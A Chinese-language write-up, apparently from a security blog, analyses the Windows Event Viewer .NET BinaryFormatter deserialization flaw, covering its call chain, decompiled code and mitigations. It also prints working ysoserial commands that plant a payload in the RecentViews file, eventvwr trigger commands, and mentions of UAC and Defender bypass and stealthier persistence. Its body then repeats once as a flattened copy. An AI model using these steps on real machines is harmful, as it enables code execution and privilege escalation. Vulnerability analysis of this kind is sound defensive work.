干货 | 最新Windows事件查看器.NET反序列化漏洞分析
字数 1274 2025-08-07 00:34:54

Windows事件查看器.NET反序列化漏洞分析与利用

漏洞概述

本漏洞是Windows事件查看器(Event Viewer)中存在的一个.NET反序列化漏洞,由安全研究员Orange Tsai于2021年4月26日公开披露。攻击者可以通过构造特定的序列化数据文件,在用户打开事件查看器时触发反序列化操作,从而执行任意代码。

漏洞背景

  • 漏洞类型:.NET反序列化漏洞
  • 影响组件:Windows事件查看器(eventvwr.msc/eventvwr.exe)
  • 攻击场景:
    • 绕过Windows Defender
    • 绕过用户账户控制(UAC)
    • 本地权限提升

漏洞复现

准备工作

  1. 确保系统中有ysoserial工具
  2. 建议先手动打开一次事件查看器,确保系统创建必要的目录结构

攻击载荷生成

使用两种不同的payload生成方式:

  1. DataSet载荷(原始PoC):
ysoserial.exe -o raw -f BinaryFormatter -g DataSet -c calc > %LOCALAPPDATA%\Microsoft\Eventv~1\RecentViews
  1. TypeConfuseDelegate载荷(替代方案,成功率更高):
ysoserial.exe -o raw -f BinaryFormatter -g TypeConfuseDelegate -c calc > %LOCALAPPDATA%\Microsoft\Eventv~1\RecentViews

触发漏洞

可通过以下方式触发:

  1. 手动打开Windows事件查看器
  2. 使用命令行:
cmd /c eventvwr.msc
# 或
cmd /c eventvwr.exe

技术原理分析

漏洞调用链

完整的漏洞调用链如下:

View -> FormView -> EventViewerHomePage -> EventHomeControl -> UpdateUIDelegate(委托) -> UpdateUI -> UpdateRecentViewsUI -> UpdateRecentViewsListViewUI -> RecentViewsDataArrayList -> LoadDataForRecentView -> LoadMostRecentViewsDataFromFile -> BinaryFormatter().Deserialize

关键代码分析

  1. EventHomeControl初始化
public EventHomeControl(){
    this.InitializeComponent();
    UIControlProcessing.SetControlSystemFont(this);
    UIControlProcessing.SetControlTitleFont(this.eventViewerLabel, this.Font);
    this.updateUI = new EventHomeControl.UpdateUIDelegate(this.UpdateUI);
    this.enableControl = new EventHomeControl.EnableControlDelegate(this.EnableControl);
}
  1. UpdateUI方法

    • 处理多种UI更新操作
    • 当case为1时,调用UpdateRecentViewsUI更新最近访问信息
  2. RecentViewsDataArrayList属性

internal ArrayList RecentViewsDataArrayList {
    get {
        this.LoadDataForRecentViews();
        return EventsNode.recentViewsDataArrayList;
    }
}
  1. 反序列化关键代码
private void LoadMostRecentViewsDataFromFile() {
    try {
        if (!string.IsNullOrEmpty(EventsNode.recentViewsFile) && File.Exists(EventsNode.recentViewsFile)) {
            FileStream fileStream = new FileStream(EventsNode.recentViewsFile, FileMode.Open);
            object syncRoot = EventsNode.recentViewsDataArrayList.SyncRoot;
            lock (syncRoot) {
                EventsNode.recentViewsDataArrayList = (ArrayList) new BinaryFormatter().Deserialize(fileStream);
            }
            fileStream.Close();
        }
    } catch (FileNotFoundException) {}
}

文件路径构造

漏洞利用的关键文件路径构造逻辑:

  1. Environment.SpecialFolder.CommonApplicationData -> C:\Users\用户名\AppData\Roaming
  2. 使用LocalApplicationData替代 -> C:\Users\用户名\AppData\Local
  3. 最终路径:C:\Users\用户名\AppData\Local\Microsoft\Event Viewer\RecentViews

防御与缓解

  1. 临时缓解措施

    • 限制对%LOCALAPPDATA%\Microsoft\Event Viewer\目录的写入权限
    • 删除已存在的RecentViews文件
  2. 长期解决方案

    • 应用微软官方补丁
    • 在代码中使用安全的序列化替代方案
  3. 开发建议

    • 避免使用不安全的BinaryFormatter
    • 实现自定义的SerializationBinder来限制反序列化类型

扩展学习

  1. .NET反序列化漏洞

    • 参考GitHub上的相关解读文章
    • 关注dotNet安全矩阵公众号获取最新信息
  2. 类似漏洞模式

    • 研究其他使用BinaryFormatter的应用程序
    • 分析MMC管理控制台的其他组件
  3. 高级利用技术

    • 结合其他漏洞实现权限提升
    • 开发更隐蔽的持久化技术

总结

本漏洞利用Windows事件查看器在加载最近浏览记录时的反序列化操作,通过构造恶意的RecentViews文件实现代码执行。理解其原理不仅有助于防御此类漏洞,也为发现类似漏洞提供了思路框架。

Windows事件查看器.NET反序列化漏洞分析与利用 漏洞概述 本漏洞是Windows事件查看器(Event Viewer)中存在的一个.NET反序列化漏洞,由安全研究员Orange Tsai于2021年4月26日公开披露。攻击者可以通过构造特定的序列化数据文件,在用户打开事件查看器时触发反序列化操作,从而执行任意代码。 漏洞背景 漏洞类型:.NET反序列化漏洞 影响组件:Windows事件查看器(eventvwr.msc/eventvwr.exe) 攻击场景: 绕过Windows Defender 绕过用户账户控制(UAC) 本地权限提升 漏洞复现 准备工作 确保系统中有ysoserial工具 建议先手动打开一次事件查看器,确保系统创建必要的目录结构 攻击载荷生成 使用两种不同的payload生成方式: DataSet载荷 (原始PoC): TypeConfuseDelegate载荷 (替代方案,成功率更高): 触发漏洞 可通过以下方式触发: 手动打开Windows事件查看器 使用命令行: 技术原理分析 漏洞调用链 完整的漏洞调用链如下: 关键代码分析 EventHomeControl初始化 : UpdateUI方法 : 处理多种UI更新操作 当case为1时,调用 UpdateRecentViewsUI 更新最近访问信息 RecentViewsDataArrayList属性 : 反序列化关键代码 : 文件路径构造 漏洞利用的关键文件路径构造逻辑: Environment.SpecialFolder.CommonApplicationData -> C:\Users\用户名\AppData\Roaming 使用 LocalApplicationData 替代 -> C:\Users\用户名\AppData\Local 最终路径: C:\Users\用户名\AppData\Local\Microsoft\Event Viewer\RecentViews 防御与缓解 临时缓解措施 : 限制对 %LOCALAPPDATA%\Microsoft\Event Viewer\ 目录的写入权限 删除已存在的RecentViews文件 长期解决方案 : 应用微软官方补丁 在代码中使用安全的序列化替代方案 开发建议 : 避免使用不安全的BinaryFormatter 实现自定义的SerializationBinder来限制反序列化类型 扩展学习 .NET反序列化漏洞 : 参考GitHub上的相关解读文章 关注dotNet安全矩阵公众号获取最新信息 类似漏洞模式 : 研究其他使用BinaryFormatter的应用程序 分析MMC管理控制台的其他组件 高级利用技术 : 结合其他漏洞实现权限提升 开发更隐蔽的持久化技术 总结 本漏洞利用Windows事件查看器在加载最近浏览记录时的反序列化操作,通过构造恶意的RecentViews文件实现代码执行。理解其原理不仅有助于防御此类漏洞,也为发现类似漏洞提供了思路框架。